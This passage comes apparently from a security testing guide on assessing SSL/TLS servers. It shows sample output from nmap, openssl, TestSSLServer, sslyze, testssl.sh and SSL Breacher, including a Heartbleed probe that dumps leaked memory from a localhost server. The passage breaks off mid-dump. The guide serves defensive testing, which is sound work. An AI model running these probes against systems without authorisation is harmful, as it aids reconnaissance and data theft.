Not shown: 89 filtered ports
Reason: 89 no-responses
PORT STATE SERVICE REASON VERSION
21/tcp open ftp syn-ack Pure-FTPd
22/tcp open ssh syn-ack OpenSSH 5.3 (protocol 2.0)
25/tcp open smtp syn-ack Exim smtpd 4.80
26/tcp open smtp syn-ack Exim smtpd 4.80
80/tcp open http syn-ack
110/tcp open pop3 syn-ack Dovecot pop3d
143/tcp open imap syn-ack Dovecot imapd
443/tcp open ssl/http syn-ack Apache
465/tcp open ssl/smtp syn-ack Exim smtpd 4.80
993/tcp open ssl/imap syn-ack Dovecot imapd
995/tcp open ssl/pop3 syn-ack Dovecot pop3d
Service Info: Hosts: example.com
Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 131.38 seconds
</pre>

====Example 3. Checking for Certificate information, Weak Ciphers and SSLv2 via nmap====
Nmap has two scripts for checking Certificate information, Weak Ciphers and SSLv2 [31].

<pre>
$ nmap --script ssl-cert,ssl-enum-ciphers -p 443,465,993,995 www.example.com
Starting Nmap 6.25 ( http://nmap.org ) at 2013-01-01 00:00 CEST
Nmap scan report for www.example.com (127.0.0.1)
Host is up (0.090s latency).
rDNS record for 127.0.0.1: www.example.com
PORT STATE SERVICE
443/tcp open https
| ssl-cert: Subject: commonName=www.example.org
| Issuer: commonName=*******
| Public Key type: rsa
| Public Key bits: 1024
| Not valid before: 2010-01-23T00:00:00+00:00
| Not valid after: 2020-02-28T23:59:59+00:00
| MD5: *******
|_SHA-1: *******
| ssl-enum-ciphers:
| SSLv3:
| ciphers:
| TLS_RSA_WITH_CAMELLIA_128_CBC_SHA - strong
| TLS_RSA_WITH_CAMELLIA_256_CBC_SHA - strong
| TLS_RSA_WITH_RC4_128_SHA - strong
| compressors:
| NULL
| TLSv1.0:
| ciphers:
| TLS_RSA_WITH_CAMELLIA_128_CBC_SHA - strong
| TLS_RSA_WITH_CAMELLIA_256_CBC_SHA - strong
| TLS_RSA_WITH_RC4_128_SHA - strong
| compressors:
| NULL
|_ least strength: strong
465/tcp open smtps
| ssl-cert: Subject: commonName=*.exapmple.com
| Issuer: commonName=*******
| Public Key type: rsa
| Public Key bits: 2048
| Not valid before: 2010-01-23T00:00:00+00:00
| Not valid after: 2020-02-28T23:59:59+00:00
| MD5: *******
|_SHA-1: *******
| ssl-enum-ciphers:
| SSLv3:
| ciphers:
| TLS_RSA_WITH_CAMELLIA_128_CBC_SHA - strong
| TLS_RSA_WITH_CAMELLIA_256_CBC_SHA - strong
| TLS_RSA_WITH_RC4_128_SHA - strong
| compressors:
| NULL
| TLSv1.0:
| ciphers:
| TLS_RSA_WITH_CAMELLIA_128_CBC_SHA - strong
| TLS_RSA_WITH_CAMELLIA_256_CBC_SHA - strong
| TLS_RSA_WITH_RC4_128_SHA - strong
| compressors:
| NULL
|_ least strength: strong
993/tcp open imaps
| ssl-cert: Subject: commonName=*.exapmple.com
| Issuer: commonName=*******
| Public Key type: rsa
| Public Key bits: 2048
| Not valid before: 2010-01-23T00:00:00+00:00
| Not valid after: 2020-02-28T23:59:59+00:00
| MD5: *******
|_SHA-1: *******
| ssl-enum-ciphers:
| SSLv3:
| ciphers:
| TLS_RSA_WITH_CAMELLIA_128_CBC_SHA - strong
| TLS_RSA_WITH_CAMELLIA_256_CBC_SHA - strong
| TLS_RSA_WITH_RC4_128_SHA - strong
| compressors:
| NULL
| TLSv1.0:
| ciphers:
| TLS_RSA_WITH_CAMELLIA_128_CBC_SHA - strong
| TLS_RSA_WITH_CAMELLIA_256_CBC_SHA - strong
| TLS_RSA_WITH_RC4_128_SHA - strong
| compressors:
| NULL
|_ least strength: strong
995/tcp open pop3s
| ssl-cert: Subject: commonName=*.exapmple.com
| Issuer: commonName=*******
| Public Key type: rsa
| Public Key bits: 2048
| Not valid before: 2010-01-23T00:00:00+00:00
| Not valid after: 2020-02-28T23:59:59+00:00
| MD5: *******
|_SHA-1: *******
| ssl-enum-ciphers:
| SSLv3:
| ciphers:
| TLS_RSA_WITH_CAMELLIA_128_CBC_SHA - strong
| TLS_RSA_WITH_CAMELLIA_256_CBC_SHA - strong
| TLS_RSA_WITH_RC4_128_SHA - strong
| compressors:
| NULL
| TLSv1.0:
| ciphers:
| TLS_RSA_WITH_CAMELLIA_128_CBC_SHA - strong
| TLS_RSA_WITH_CAMELLIA_256_CBC_SHA - strong
| TLS_RSA_WITH_RC4_128_SHA - strong
| compressors:
| NULL
|_ least strength: strong
Nmap done: 1 IP address (1 host up) scanned in 8.64 seconds
</pre>

====Example 4 Checking for Client-initiated Renegotiation and Secure Renegotiation via openssl (manually)====

Openssl [30] can be used for testing manually SSL/TLS. In this example the tester tries to initiate a renegotiation by client [m] connecting to server with openssl. The tester then writes the fist line of an HTTP request and types “R” in a new line. He then waits for renegotiaion and completion of the HTTP request and checks if secure renegotiaion is supported by looking at the server output. Using manual requests it is also possible to see if Compression is enabled for TLS and to check for CRIME [13], for ciphers and for other vulnerabilities.

<pre>
$ openssl s_client -connect www2.example.com:443
CONNECTED(00000003)
depth=2 ******
verify error:num=20:unable to get local issuer certificate
verify return:0
---
Certificate chain
0 s:******
i:******
1 s:******
i:******
2 s:******
i:******
---
Server certificate
-----BEGIN CERTIFICATE-----
******
-----END CERTIFICATE-----
subject=******
issuer=******
---
No client certificate CA names sent
---
SSL handshake has read 3558 bytes and written 640 bytes
---
New, TLSv1/SSLv3, Cipher is DES-CBC3-SHA
Server public key is 2048 bit
Secure Renegotiation IS NOT supported
Compression: NONE
Expansion: NONE
SSL-Session:
Protocol : TLSv1
Cipher : DES-CBC3-SHA
Session-ID: ******
Session-ID-ctx:
Master-Key: ******
Key-Arg : None
PSK identity: None
PSK identity hint: None
SRP username: None
Start Time: ******
Timeout : 300 (sec)
Verify return code: 20 (unable to get local issuer certificate)
---
</pre>

Now the tester can write the first line of an HTTP request and then R in a new line.
<pre>
HEAD / HTTP/1.1
R
</pre>

Server is renegotiating
<pre>
RENEGOTIATING
depth=2 C******
verify error:num=20:unable to get local issuer certificate
verify return:0
</pre>

And the tester can complete our request, checking for response.
<pre>
HEAD / HTTP/1.1

HTTP/1.1 403 Forbidden ( The server denies the specified Uniform Resource Locator (URL). Contact the server administrator. )
Connection: close
Pragma: no-cache
Cache-Control: no-cache
Content-Type: text/html
Content-Length: 1792

read:errno=0
</pre>

Even if the HEAD is not permitted, Client-intiated renegotiaion is permitted.

====Example 5. Testing supported Cipher Suites, BEAST and CRIME attacks via TestSSLServer====

TestSSLServer [32] is a script which permits the tester to check the cipher suite and also for BEAST and CRIME attacks. BEAST (Browser Exploit Against SSL/TLS) exploits a vulnerability of CBC in TLS 1.0. CRIME (Compression Ratio Info-leak Made Easy) exploits a vulnerability of TLS Compression, that should be disabled. What is interesting is that the first fix for BEAST was the use of RC4, but this is now discouraged due to a crypto-analytical attack to RC4 [15].

An online tool to check for these attacks is SSL Labs, but can be used only for internet facing servers. Also consider that target data will be stored on SSL Labs server and also will result some connection from SSL Labs server [21].

<pre>
$ java -jar TestSSLServer.jar www3.example.com 443
Supported versions: SSLv3 TLSv1.0 TLSv1.1 TLSv1.2
Deflate compression: no
Supported cipher suites (ORDER IS NOT SIGNIFICANT):
SSLv3
RSA_WITH_RC4_128_SHA
RSA_WITH_3DES_EDE_CBC_SHA
DHE_RSA_WITH_3DES_EDE_CBC_SHA
RSA_WITH_AES_128_CBC_SHA
DHE_RSA_WITH_AES_128_CBC_SHA
RSA_WITH_AES_256_CBC_SHA
DHE_RSA_WITH_AES_256_CBC_SHA
RSA_WITH_CAMELLIA_128_CBC_SHA
DHE_RSA_WITH_CAMELLIA_128_CBC_SHA
RSA_WITH_CAMELLIA_256_CBC_SHA
DHE_RSA_WITH_CAMELLIA_256_CBC_SHA
TLS_RSA_WITH_SEED_CBC_SHA
TLS_DHE_RSA_WITH_SEED_CBC_SHA
(TLSv1.0: idem)
(TLSv1.1: idem)
TLSv1.2
RSA_WITH_RC4_128_SHA
RSA_WITH_3DES_EDE_CBC_SHA
DHE_RSA_WITH_3DES_EDE_CBC_SHA
RSA_WITH_AES_128_CBC_SHA
DHE_RSA_WITH_AES_128_CBC_SHA
RSA_WITH_AES_256_CBC_SHA
DHE_RSA_WITH_AES_256_CBC_SHA
RSA_WITH_AES_128_CBC_SHA256
RSA_WITH_AES_256_CBC_SHA256
RSA_WITH_CAMELLIA_128_CBC_SHA
DHE_RSA_WITH_CAMELLIA_128_CBC_SHA
DHE_RSA_WITH_AES_128_CBC_SHA256
DHE_RSA_WITH_AES_256_CBC_SHA256
RSA_WITH_CAMELLIA_256_CBC_SHA
DHE_RSA_WITH_CAMELLIA_256_CBC_SHA
TLS_RSA_WITH_SEED_CBC_SHA
TLS_DHE_RSA_WITH_SEED_CBC_SHA
TLS_RSA_WITH_AES_128_GCM_SHA256
TLS_RSA_WITH_AES_256_GCM_SHA384
TLS_DHE_RSA_WITH_AES_128_GCM_SHA256
TLS_DHE_RSA_WITH_AES_256_GCM_SHA384
----------------------
Server certificate(s):
******
----------------------
Minimal encryption strength: strong encryption (96-bit or more)
Achievable encryption strength: strong encryption (96-bit or more)
BEAST status: vulnerable
CRIME status: protected

</pre>

====Example 6. Testing SSL/TLS vulnerabilities with sslyze====
Sslyze [33] is a python script which permits mass scanning and XML output. The following is an example of a regular scan. It is one of the most complete and versatile tools for SSL/TLS testing.

<pre>
./sslyze.py --regular example.com:443

REGISTERING AVAILABLE PLUGINS
-----------------------------

PluginHSTS
PluginSessionRenegotiation
PluginCertInfo
PluginSessionResumption
PluginOpenSSLCipherSuites
PluginCompression

CHECKING HOST(S) AVAILABILITY
-----------------------------

example.com:443 => 127.0.0.1:443

SCAN RESULTS FOR EXAMPLE.COM:443 - 127.0.0.1:443
---------------------------------------------------

* Compression :
Compression Support: Disabled

* Session Renegotiation :
Client-initiated Renegotiations: Rejected
Secure Renegotiation: Supported

* Certificate :
Validation w/ Mozilla's CA Store: Certificate is NOT Trusted: unable to get local issuer certificate
Hostname Validation: MISMATCH
SHA1 Fingerprint: ******

Common Name: www.example.com
Issuer: ******
Serial Number: ****
Not Before: Sep 26 00:00:00 2010 GMT
Not After: Sep 26 23:59:59 2020 GMT

Signature Algorithm: sha1WithRSAEncryption
Key Size: 1024 bit
X509v3 Subject Alternative Name: {'othername': ['<unsupported>'], 'DNS': ['www.example.com']}

* OCSP Stapling :
Server did not send back an OCSP response.

* Session Resumption :
With Session IDs: Supported (5 successful, 0 failed, 0 errors, 5 total attempts).
With TLS Session Tickets: Supported

* SSLV2 Cipher Suites :

Rejected Cipher Suite(s): Hidden

Preferred Cipher Suite: None

Accepted Cipher Suite(s): None

Undefined - An unexpected error happened: None

* SSLV3 Cipher Suites :

Rejected Cipher Suite(s): Hidden

Preferred Cipher Suite:
RC4-SHA 128 bits HTTP 200 OK

Accepted Cipher Suite(s):
CAMELLIA256-SHA 256 bits HTTP 200 OK
RC4-SHA 128 bits HTTP 200 OK
CAMELLIA128-SHA 128 bits HTTP 200 OK

Undefined - An unexpected error happened: None

* TLSV1_1 Cipher Suites :

Rejected Cipher Suite(s): Hidden

Preferred Cipher Suite: None

Accepted Cipher Suite(s): None

Undefined - An unexpected error happened:
ECDH-RSA-AES256-SHA socket.timeout - timed out
ECDH-ECDSA-AES256-SHA socket.timeout - timed out

* TLSV1_2 Cipher Suites :

Rejected Cipher Suite(s): Hidden

Preferred Cipher Suite: None

Accepted Cipher Suite(s): None

Undefined - An unexpected error happened:
ECDH-RSA-AES256-GCM-SHA384 socket.timeout - timed out
ECDH-ECDSA-AES256-GCM-SHA384 socket.timeout - timed out

* TLSV1 Cipher Suites :

Rejected Cipher Suite(s): Hidden

Preferred Cipher Suite:
RC4-SHA 128 bits Timeout on HTTP GET

Accepted Cipher Suite(s):
CAMELLIA256-SHA 256 bits HTTP 200 OK
RC4-SHA 128 bits HTTP 200 OK
CAMELLIA128-SHA 128 bits HTTP 200 OK

Undefined - An unexpected error happened:
ADH-CAMELLIA256-SHA socket.timeout - timed out

SCAN COMPLETED IN 9.68 S
------------------------
</pre>

====Example 7. Testing SSL/TLS with testssl.sh====
Testssl.sh [38] is a Linux shell script which provides clear output to facilitate good decision making. It can not only check web servers but also services on other ports, supports STARTTLS, SNI, SPDY and does a few check on the HTTP header as well.

It's a very easy to use tool. Here's some sample output (without colors):
<pre>
user@myhost: % testssl.sh owasp.org

########################################################
testssl.sh v2.0rc3 (https://testssl.sh)
($Id: testssl.sh,v 1.97 2014/04/15 21:54:29 dirkw Exp $)

This program is free software. Redistribution +
modification under GPLv2 is permitted.
USAGE w/o ANY WARRANTY. USE IT AT YOUR OWN RISK!

Note you can only check the server against what is
available (ciphers/protocols) locally on your machine
########################################################

Using "OpenSSL 1.0.2-beta1 24 Feb 2014" on
"myhost:/<mypath>/bin/openssl64"

Testing now (2014-04-17 15:06) ---> owasp.org:443 <---
("owasp.org" resolves to "192.237.166.62 / 2001:4801:7821:77:cd2c:d9de:ff10:170e")

--> Testing Protocols

SSLv2 NOT offered (ok)
SSLv3 offered
TLSv1 offered (ok)
TLSv1.1 offered (ok)
TLSv1.2 offered (ok)

SPDY/NPN not offered

--> Testing standard cipher lists

Null Cipher NOT offered (ok)
Anonymous NULL Cipher NOT offered (ok)
Anonymous DH Cipher NOT offered (ok)
40 Bit encryption NOT offered (ok)
56 Bit encryption NOT offered (ok)
Export Cipher (general) NOT offered (ok)
Low (<=64 Bit) NOT offered (ok)
DES Cipher NOT offered (ok)
Triple DES Cipher offered
Medium grade encryption offered
High grade encryption offered (ok)

--> Testing server defaults (Server Hello)

Negotiated protocol TLSv1.2
Negotiated cipher AES128-GCM-SHA256

Server key size 2048 bit
TLS server extensions: server name, renegotiation info, session ticket, heartbeat
Session Tickets RFC 5077 300 seconds

--> Testing specific vulnerabilities

Heartbleed (CVE-2014-0160), experimental NOT vulnerable (ok)
Renegotiation (CVE 2009-3555) NOT vulnerable (ok)
CRIME, TLS (CVE-2012-4929) NOT vulnerable (ok)

--> Checking RC4 Ciphers

RC4 seems generally available. Now testing specific ciphers...

Hexcode Cipher Name KeyExch. Encryption Bits
--------------------------------------------------------------------
[0x05] RC4-SHA RSA RC4 128

RC4 is kind of broken, for e.g. IE6 consider 0x13 or 0x0a

--> Testing HTTP Header response

HSTS no
Server Apache
Application (None)

--> Testing (Perfect) Forward Secrecy (P)FS)

no PFS available

Done now (2014-04-17 15:07) ---> owasp.org:443 <---

user@myhost: %

</pre>

STARTTLS would be tested via <code>testssl.sh -t smtp.gmail.com:587 smtp</code>, each ciphers with <code>testssl -e <target></code>, each ciphers per protocol with <code>testssl -E <target></code>. To just display what local ciphers that are installed for openssl see <code>testssl -V</code>. For a thorough check it is best to dump the supplied OpenSSL binaries in the path or the one of testssl.sh.

The interesting thing is if a tester looks at the sources they learn how features are tested, see e.g. Example 4. What is even better is that it does the whole handshake for heartbleed in pure /bin/bash with /dev/tcp sockets -- no piggyback perl/python/you name it.

Additionally it provides a prototype (via "testssl.sh -V") of mapping to RFC cipher suite names to OpenSSL ones. The tester needs the file mapping-rfc.txt in same directory.

====Example 8. Testing SSL/TLS with SSL Breacher ====
This tool [99] is combination of several other tools plus some additional checks in complementing most comprehensive SSL tests.
It supports the following checks:
#HeartBleed
#ChangeCipherSpec Injection
#BREACH
#BEAST
#Forward Secrecy support
#RC4 support
#CRIME & TIME (If CRIME is detected, TIME will also be reported)
#Lucky13
#HSTS: Check for implementation of HSTS header
# HSTS: Reasonable duration of MAX-AGE
# HSTS: Check for SubDomains support
#Certificate expiration
#Insufficient public key-length
#Host-name mismatch
#Weak Insecure Hashing Algorithm (MD2, MD4, MD5)
#SSLv2 support
#Weak ciphers check
#Null Prefix in certificate
#HTTPS Stripping
#Surf Jacking
#Non-SSL elements/contents embedded in SSL page
#Cache-Control

<pre>
pentester@r00ting: % breacher.sh https://localhost/login.php

Host Info:
==============
Host : localhost
Port : 443
Path : /login.php

Certificate Info:
==================
Type: Domain Validation Certificate (i.e. NON-Extended Validation Certificate)
Expiration Date: Sat Nov 09 07:48:47 SGT 2019
Signature Hash Algorithm: SHA1withRSA
Public key: Sun RSA public key, 1024 bits
modulus: 135632964843555009910164098161004086259135236815846778903941582882908611097021488277565732851712895057227849656364886898196239901879569635659861770850920241178222686670162318147175328086853962427921575656093414000691131757099663322369656756090030190369923050306668778534926124693591013220754558036175189121517
public exponent: 65537
Signed for: CN=localhost
Signed by: CN=localhost
Total certificate chain: 1

(Use -Djavax.net.debug=ssl:handshake:verbose for debugged output.)

=====================================

Certificate Validation:
===============================
[!] Signed using Insufficient public key length 1024 bits
(Refer to http://www.keylength.com/ for details)
[!] Certificate Signer: Self-signed/Untrusted CA - verified with Firefox & Java ROOT CAs.

=====================================

Loading module: Hut3 Cardiac Arrest ...

Checking localhost:443 for Heartbleed bug (CVE-2014-0160) ...

[-] Connecting to 127.0.0.1:443 using SSLv3
[-] Sending ClientHello
[-] ServerHello received
[-] Sending Heartbeat
[Vulnerable] Heartbeat response was 16384 bytes instead of 3! 127.0.0.1:443 is vulnerable over SSLv3
[-] Displaying response (lines consisting entirely of null bytes are removed):

0000: 02 FF FF 08 03 00 53 48 73 F0 7C CA C1 D9 02 04 ......SHs.|.....
0010: F2 1D 2D 49 F5 12 BF 40 1B 94 D9 93 E4 C4 F4 F0 ..-I...@........
0020: D0 42 CD 44 A2 59 00 02 96 00 00 00 01 00 02 00 .B.D.Y..........
0060: 1B 00 1C 00 1D 00 1E 00 1F 00 20 00 21 00 22 00 .......... .!.".
0070: 23 00 24 00 25 00 26 00 27 00 28 00 29 00 2A 00 #.$.%.&.'.(.).*.
0080: 2B 00 2C 00 2D 00 2E 00 2F 00 30 00 31 00 32 00 +.,.-.../.0.1.2.
0090: 33 00 34 00 35 00 36 00 37 00 38 00 39 00 3A 00 3.4.5.6.7.8.9.:.
00a0: 3B 00 3C 00 3D 00 3E 00 3F 00 40 00 41 00 42 00 ;.<.=.>.?.@.A.B.
00b0: 43 00 44 00 45 00 46 00 60 00 61 00 62 00 63 00 C.D.E.F.`.a.b.c.
00c0: 64 00 65 00 66 00 67 00 68 00 69 00 6A 00 6B 00 d.e.f.g.h.i.j.k.
00d0: 6C 00 6D 00 80 00 81 00 82 00 83 00 84 00 85 00 l.m.............
01a0: 20 C0 21 C0 22 C0 23 C0 24 C0 25 C0 26 C0 27 C0 .!.".#.$.%.&.'.
01b0: 28 C0 29 C0 2A C0 2B C0 2C C0 2D C0 2E C0 2F C0 (.).*.+.,.-.../.
01c0: 30 C0 31 C0 32 C0 33 C0 34 C0 35 C0 36 C0 37 C0 0.1.2.3.4.5.6.7.
01d0: 38 C0 39 C0 3A C0 3B C0 3C C0 3D C0 3E C0 3F C0 8.9.:.;.<.=.>.?.
01e0: 40 C0 41 C0 42 C0 43 C0 44 C0 45 C0 46 C0 47 C0 @.A.B.C.D.E.F.G.
01f0: 48 C0 49 C0 4A C0 4B C0 4C C0 4D C0 4E C0 4F C0 H.I.J.K.L.M.N.O.
0200: 50 C0 51 C0 52 C0 53 C0 54 C0 55 C0 56 C0 57 C0 P.Q.R.S.T.U.V.W.
0210: 58 C0 59 C0 5A C0 5B C0 5C C0 5D C0 5E C0 5F C0 X.Y.Z.[.\.].^._.
0220: 60 C0 61 C0 62 C0 63 C0 64 C0 65 C0 66 C0 67 C0 `.a.b.c.d.e.f.g.
0230: 68 C0 69 C0 6A C0 6B C0 6C C0 6D C0 6E C0 6F C0 h.i.j.k.l.m.n.o.
0240: 70 C0 71 C0 72 C0 73 C0 74 C0 75 C0 76 C0 77 C0 p.q.r.s.t.u.v.w.
0250: 78 C0 79 C0 7A C0 7B C0 7C C0 7D C0 7E C0 7F C0 x.y.z.{.|.}.~...
02c0: 00 00 49 00 0B 00 04 03 00 01 02 00 0A 00 34 00 ..I...........4.
02d0: 32 00 0E 00 0D 00 19 00 0B 00 0C 00 18 00 09 00 2...............
0300: 10 00 11 00 23 00 00 00 0F 00 01 01 00 00 00 00 ....#...........
0bd0: 00 00 00 00 00 00 00 00 00 12 7D 01 00 10 00 02 ..........}.....

[-] Closing connection

[-] Connecting to 127.0.0.1:443 using TLSv1.0
[-] Sending ClientHello
[-] ServerHello received
[-] Sending Heartbeat
[Vulnerable] Heartbeat response was 16384 bytes instead of 3! 127.0.0.1:443 is vulnerable over TLSv1.0
[-] Displaying response (lines consisting entirely of null bytes are removed):

0000: 02 FF FF 08 03 01 53 48 73 F0 7C CA C1 D9 02 04 ......SHs.|.....
0010: F2 1D 2D 49 F5 12 BF 40 1B 94 D9 93 E4 C4 F4 F0 ..-I...@........
0020: D0 42 CD 44 A2 59 00 02 96 00 00 00 01 00 02 00 .B.D.Y..........
0060: 1B 00 1C 00 1D 00 1E 00 1F 00 20 00 21 00 22 00 .......... .!.".
0070: 23 00 24 00 25 00 26 00 27 00 28 00 29 00 2A 00 #.$.%.&.'.(.).*.
0080: 2B 00 2C 00 2D 00 2E 00 2F 00 30 00 31 00 32 00 +.,.-.../.0.1.2.
0090: 33 00 34 00 35 00 36 00 37 00 38 00 39 00 3A 00 3.4.5.6.7.8.9.:.
00a0: 3B 00 3C 00 3D 00 3E 00 3F 00 40 00 41 00 42 00 ;.<.=.>.?.@.A.B.
00b0: 43 00 44 00 45 00 46 00 60 00 61 00 62 00 63 00 C.D.E.F.`.a.b.c.
00c0: 64 00 65 00 66 00 67 00 68 00 69 00 6A 00 6B 00 d.e.f.g.h.i.j.k.
00d0: 6C 00 6D 00 80 00 81 00 82 00 83 00 84 00 85 00 l.m.............
01a0: 20 C0 21 C0 22 C0 23 C0 24 C0 25 C0 26 C0 27 C0 .!.".#.$.%.&.'.
01b0: 28 C0 29 C0 2A C0 2B C0 2C C0 2D C0 2E C0 2F C0 (.).*.+.,.-.../.
01c0: 30 C0 31 C0 32 C0 33 C0 34 C0 35 C0 36 C0 37 C0 0.1.2.3.4.5.6.7.
01d0: 38 C0 39 C0 3A C0 3B C0 3C C0 3D C0 3E C0 3F C0 8.9.:.;.<.=.>.?.
01e0: 40 C0 41 C0 42 C0 43 C0 44 C0 45 C0 46 C0 47 C0 @.A.B.C.D.E.F.G.
01f0: 48 C0 49 C0 4A C0 4B C0 4C C0 4D C0 4E C0 4F C0 H.I.J.K.L.M.N.O.
0200: 50 C0 51 C0 52 C0 53 C0 54 C0 55 C0 56 C0 57 C0 P.Q.R.S.T.U.V.W.
0210: 58 C0 59 C0 5A C0 5B C0 5C C0 5D C0 5E C0 5F C0 X.Y.Z.[.\.].^._.
0220: 60 C0 61 C0 62 C0 63 C0 64 C0 65 C0 66 C0 67 C0 `.a.b.c.d.e.f.g.
0230: 68 C0 69 C0 6A C0 6B C0 6C C0 6D C0 6E C0 6F C0 h.i.j.k.l.m.n.o.
0240: 70 C0 71 C0 72 C0 73 C0 74 C0 75 C0 76 C0 77 C0 p.q.r.s.t.u.v.w.
0250: 78 C0 79 C0 7A C0 7B C0 7C C0 7D C0 7E C0 7F C0 x.y.z.{.|.}.~...
02c0: 00 00 49 00 0B 00 04 03 00 01 02 00 0A 00 34 00 ..I...........4.
02d0: 32 00 0E 00 0D 00 19 00 0B 00 0C 00 18 00 09 00 2...............
0300: 10 00 11 00 23 00 00 00 0F 00 01 01 00 00 00 00 ....#...........
0bd0: 00 00 00 00 00 00 00 00 00 12 7D 01 00 10 00 02 ..........}.....

[-] Closing connection

[-] Connecting to 127.0.0.1:443 using TLSv1.1
[-] Sending ClientHello
[-] ServerHello received
[-] Sending Heartbeat
[Vulnerable] Heartbeat response was 16384 bytes instead of 3! 127.0.0.1:443 is vulnerable over TLSv1.1
[-] Displaying response (lines consisting entirely of null bytes are removed):

0000: 02 FF FF 08 03 02 53 48 73 F0 7C CA C1 D9 02 04 ......SHs.|.....
0010: F2 1D 2D 49 F5 12 BF 40 1B 94 D9 93 E4 C4 F4 F0 ..-I...@........
0020: D0 42 CD 44 A2 59 00 02 96 00 00 00 01 00 02 00 .B.D.Y..........
0060: 1B 00 1C 00 1D 00 1E 00 1F 00 20 00 21 00 22 00 .......... .!.".
0070: 23 00 24 00 25 00 26 00 27 00 28 00 29 00 2A 00 #.$.%.&.'.(.).*.
0080: 2B 00 2C 00 2D 00 2E 00 2F 00 30 00 31 00 32 00 +.,.-.../.0.1.2.
0090: 33 00 34 00 35 00 36 00 37 00 38 00 39 00 3A 00 3.4.5.6.7.8.9.:.
00a0: 3B 00 3C 00 3D 00 3E 00 3F 00 40 00 41 00 42 00 ;.<.=.>.?.@.A.B.
00b0: 43 00 44 00 45 00 46 00 60 00 61 00 62 00 63 00 C.D.E.F.`.a.b.c.
00c0: 64 00 65 00 66 00 67 00 68 00 69 00 6A 00 6B 00 d.e.f.g.h.i.j.k.
00d0: 6C 00 6D 00 80 00 81 00 82 00 83 00 84 00 85 00 l.m.............
01a0: 20 C0 21 C0 22 C0 23 C0 24 C0 25 C0 26 C0 27 C0 .!.".#.$.%.&.'.
01b0: 28 C0 29 C0 2A C0 2B C0 2C C0 2D C0 2E C0 2F C0 (.).*.+.,.-.../.
01c0: 30 C0 31 C0 32 C0 33 C0 34 C0 35 C0 36 C0 37 C0 0.1.2.3.4.5.6.7.
01d0: 38 C0 39 C0 3A C0 3B C0 3C C0 3D C0 3E C0 3F C0 8.9.:.;.<.=.>.?.
01e0: 40 C0 41 C0 42 C0 43 C0 44 C0 45 C0 46 C0 47 C0 @.A.B.C.D.E.F.G.
01f0: 48 C0 49 C0 4A C0 4B C0 4C C0 4D C0 4E C0 4F C0 H.I.J.K.L.M.N.O.
0200: 50 C0 51 C0 52 C0 53 C0 54 C0 55 C0 56 C0 57 C0 P.Q.R.S.T.U.V.W.
0210: 58 C0 59 C0 5A C0 5B C0 5C C0 5D C0 5E C0 5F C0 X.Y.Z.[.\.].^._.
0220: 60 C0 61 C0 62 C0 63 C0 64 C0 65 C0 66 C0 67 C0 `.a.b.c.d.e.f.g.
0230: 68 C0 69 C0 6A C0 6B C0 6C C0 6D C0 6E C0 6F C0 h.i.j.k.l.m.n.o.
0240: 70 C0 71 C0 72 C0 73 C0 74 C0 75 C0 76 C0 77 C0 p.q.r.s.t.u.v.w.
0250: 78 C0 79 C0 7A C0 7B C0 7C C0 7D C0 7E C0 7F C0 x.y.z.{.|.}.~...
02c0: 00 00 49 00 0B 00 04 03 00 01 02 00 0A 00 34 00 ..I...........4.
02d0: 32 00 0E 00 0D 00 19 00 0B 00 0C 00 18 00 09 00 2...............
0300: 10 00 11 00 23 00 00 00 0F 00 01 01 00 00 00 00 ....#...........
0bd0: 00 00 00 00 00 00 00 00 00 12 7D 01 00 10 00 02 ..........}.....

[-] Closing connection

[-] Connecting to 127.0.0.1:443 using TLSv1.2
[-] Sending ClientHello
[-] ServerHello received
[-] Sending Heartbeat
[Vulnerable] Heartbeat response was 16384 bytes instead of 3! 127.0.0.1:443 is vulnerable over TLSv1.2
[-] Displaying response (lines consisting entirely of null bytes are removed):

0000: 02 FF FF 08 03 03 53 48 73 F0 7C CA C1 D9 02 04 ......SHs.|.....
0010: F2 1D 2D 49 F5 12 BF 40 1B 94 D9 93 E4 C4 F4 F0 ..-I...@........
0020: D0 42 CD 44 A2 59 00 02 96 00 00 00 01 00 02 00 .B.D.Y..........
0060: 1B 00 1C 00 1D 00 1E 00 1F 00 20 00 21 00 22 00 .......... .!.".
0070: 23 00 24 00 25 00 26 00 27 00 28 00 29 00 2A 00 #.$.%.&.'.(.).*.
0080: 2B 00 2C 00 2D 00 2E 00 2F 00 30 00 31 00 32 00 +.,.-.../.0.1.2.
0090: 33 00 34 00 35 00 36 00 37 00 38 00 39 00 3A 00 3.4.5.6.7.8.9.:.
00a0: 3B 00 3C 00 3D 00 3E 00 3F 00 40 00 41 00 42 00 ;.<.=.>.?.@.A.B.
00b0: 43 00 44 00 45 00 46 00 60 00 61 00 62 00 63 00 C.D.E.F.`.a.b.c.
00c0: 64 00 65 00 66 00 67 00 68 00 69 00 6A 00 6B 00 d.e.f.g.h.i.j.k.
00d0: 6C 00 6D 00 80 00 81 00 82 00 83 00 84 00 85 00 l.m.............
01a0: 20 C0 21 C0 22 C0 23 C0 24 C0 25 C0 26 C0 27 C0 .!.".#.$.%.&.'.
01b0: 28 C0 29 C0 2A C0 2B C0 2C C0 2D C0 2E C0 2F C0 (.).*.+.,.-.../.
01c0: 30 C0 31 C0 32 C0 33 C0 34 C0 35 C0 36 C0 37 C0 0.1.2.3.4.5.6.7.
01d0: 38 C0 39 C0 3A C0 3B C0 3C C0 3D C0 3E C0 3F C0 8.9.:.;.<.=.>.?.
01e0: 40 C0 41 C0 42 C0 43 C0 44 C0 45 C0 46 C0 47 C0 @.A.B.C.D.E.F.G.
01f0: 48 C0 49 C0 4A C0 4B C0 4C C0 4D C0 4E C0 4F C0 H.I.J.K.L.M.N.O.
0200: 50 C0 51 C0 52 C0 53 C0 54 C0 55 C0 56 C0 57 C0 P.Q.R.S.T.U.V.W.
0210: 58 C0 59 C0 5A C0 5B C0 5C C0 5D C0 5E C0 5F C0 X.Y.Z.[.\.].^._.
0220: 60 C0 61 C0 62 C0 63 C0 64 C0 65 C0 66 C0 67 C0 `.a.b.c.d.e.f.g.
0230: 68 C0 69 C0 6A C0 6B C0 6C C0 6D C0 6E C0 6F C0 h.i.j.k.l.m.n.o.
0240: 70 C0 71 C0 72 C0 73 C0 74 C0 75 C0 76 C0 77 C0 p.q.r.s.t.u.v.w.
0250: 78 C0 79 C0 7A C0 7B C0 7C C0 7D C0 7E C0 7F C0 x.y.z.{.|.}.~...
02c0: 00 00 49 00 0B 00 04 03 00 01 02 00 0A 00 34 00 ..I...........4.
02d0: 32 00 0E 00 0D 00 19 00 0B 00 0C 00 18 00 09 00 2...............
